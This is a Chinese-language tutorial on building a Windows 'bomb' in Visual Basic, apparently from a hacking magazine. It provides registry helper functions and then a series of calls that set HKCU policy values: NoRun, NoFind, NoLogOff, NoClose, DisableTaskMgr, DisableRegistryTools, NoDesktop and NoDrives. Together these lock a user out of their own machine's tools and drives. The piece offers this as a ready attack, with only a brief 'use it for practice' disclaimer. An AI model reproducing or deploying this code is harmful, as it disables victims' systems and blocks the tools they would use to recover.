知已知彼 看黑客怎么编写强力蓝屏炸弹

Public Function DeleteKey（lPredefinedKey As Long, sKeyName As String）
    Dim lRetVal As Long      
    Dim hKey As Long
   
    lRetVal = RegOpenKeyEx（lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey）
    lRetVal = RegDeleteKey（lPredefinedKey, sKeyName）   
    RegCloseKey （hKey）      ‘关闭注册表
End Function
‘以上是用来做删除注册表里的键的

Public Function DeleteValue（lPredefinedKey As Long, sKeyName As String, sValueName As String）
       Dim lRetVal As Long
       Dim hKey As Long

       lRetVal = RegOpenKeyEx（lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey）
       lRetVal = RegDeleteValue（hKey, sValueName）
       RegCloseKey （hKey）
End Function
‘以上是用来删除键值的
Public Function SetValueEx（ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant） As Long
    Dim lValue As Long
    Dim sValue As String

    Select Case lType
        Case REG_SZ
            sValue = vValue
            SetValueEx = RegSetValueExString（hKey, sValueName, 0&, lType, sValue, Len（sValue）） ‘这里是说明将键设成REG_SZ时就是字符串
        Case REG_DWORD
            lValue = vValue
SetValueEx = RegSetValueExLong（hKey, sValueName, 0&, lType, lValue, 4）
‘如果将键设成REG_DWORD就是长整型
        End Select

End Function
‘以上是用来定义设置键的
Function QueryValueEx（ByVal lhKey As Long, ByVal szValueName As String, vValue As Variant） As Long
    Dim cch As Long
    Dim lrc As Long
    Dim lType As Long
    Dim lValue As Long
    Dim sValue As String

    On Error GoTo QueryValueExError

    lrc = RegQueryValueExNULL（lhKey, szValueName, 0&, lType, 0&, cch）
    If lrc <> ERROR_NONE Then Error 5

    Select Case lType
        Case REG_SZ:
            sValue = String（cch, 0）
            lrc = RegQueryValueExString（lhKey, szValueName, 0&, lType, sValue, cch）
            If lrc = ERROR_NONE Then
                vValue = Left$（sValue, cch）
            Else
                vValue = Empty
            End If
‘如果键是REG_SZ那么键值就是字符型
        Case REG_DWORD:
            lrc = RegQueryValueExLong（lhKey, szValueName, 0&, lType, lValue, cch）
If lrc = ERROR_NONE Then vValue = lValue       
 Case Else
            lrc = -1  
‘如果键是REG_DWORD那么键值就是长整型

    End Select

QueryValueExExit:

    QueryValueEx = lrc
    Exit Function

QueryValueExError:

    Resume QueryValueExExit

End Function
‘以上是用来设置注册表键值的
Public Function CreateNewKey（lPredefinedKey As Long, sNewKeyName As String）#p#分页标题#e#
    Dim hNewKey As Long
    Dim lRetVal As Long
   
    lRetVal = RegCreateKeyEx（lPredefinedKey, sNewKeyName, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal）
    RegCloseKey （hNewKey）
End Function
‘以上是用来创建一个新的键的
Public Function SetKeyValue（lPredefinedKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long）
       Dim lRetVal As Long
       Dim hKey As Long

       lRetVal = RegOpenKeyEx（lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey）
       lRetVal = SetValueEx（hKey, sValueName, lValueType, vValueSetting）
       RegCloseKey （hKey）

End Function

Public Function QueryValue（lPredefinedKey As Long, sKeyName As String, sValueName As String）
       Dim lRetVal As Long
       Dim hKey As Long
       Dim vValue As Variant

       lRetVal = RegOpenKeyEx（lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey）
       lRetVal = QueryValueEx（hKey, sValueName, vValue）
       QueryValue = vValue
       RegCloseKey （hKey）
End Function
‘以上是用来设置新键的键值的

到这里，所有的模块里的代码就写完了，如果想得到更详细的代码请查看光盘中相关栏目里的代码吧！

然后介绍一下我们怎么去给注册表加键和键值吧，具体代码如下：

CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer", " NoRun ", "1", REG_DWORD
以上是在HKEY_CURRENT_USER,
"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer里面加上一个键并设置键值为1的REG_DWORD格式，这个是用来屏蔽开始菜单里的运行的，
    

CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer"
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer", "NoFind", "1", REG_DWORD
这段代码是用来屏蔽查找的，就是说在你的计算机的开始菜单里会找不到这一项，

CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer"
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer", "NoLogOff", "1", REG_DWORD
这段是用来屏蔽注销的

CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer"
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer", "NoClose", "1", REG_DWORD
这段是用来屏蔽关闭计算机的

CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/System"
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/System", "DisableTaskMgr", "1", REG_DWORD
这段是用来屏蔽任务管理器的

CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/System"
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/System", "DisableRegistryTools", "1", REG_DWORD
这段是用来禁止使用注册表的

CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer"
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer", " NoDesktop ", "1", REG_DWORD
这段是用来隐藏桌面的

CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer"
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer", "NoDrives", "1", REG_DWORD
这段是用来屏蔽A盘的，键值1代表A盘，2代表B盘，4代表C盘，8代表D盘，就是说二倍二倍的下去代表下一个盘。

如果想作出厉害一点的炸弹，最好多多的了解如何使用API函数和注册表，如果想得到更详细的源代码就在杂志相关栏目里面能够找到，这样，一个小巧而又厉害的炸弹就诞生了，希望大家仅仅是用这个东西来练习，而不是去作坏事。我写完了炸弹后，又写了一个针对这个炸弹的还原的工具收集在光盘里面了。#p#分页标题#e#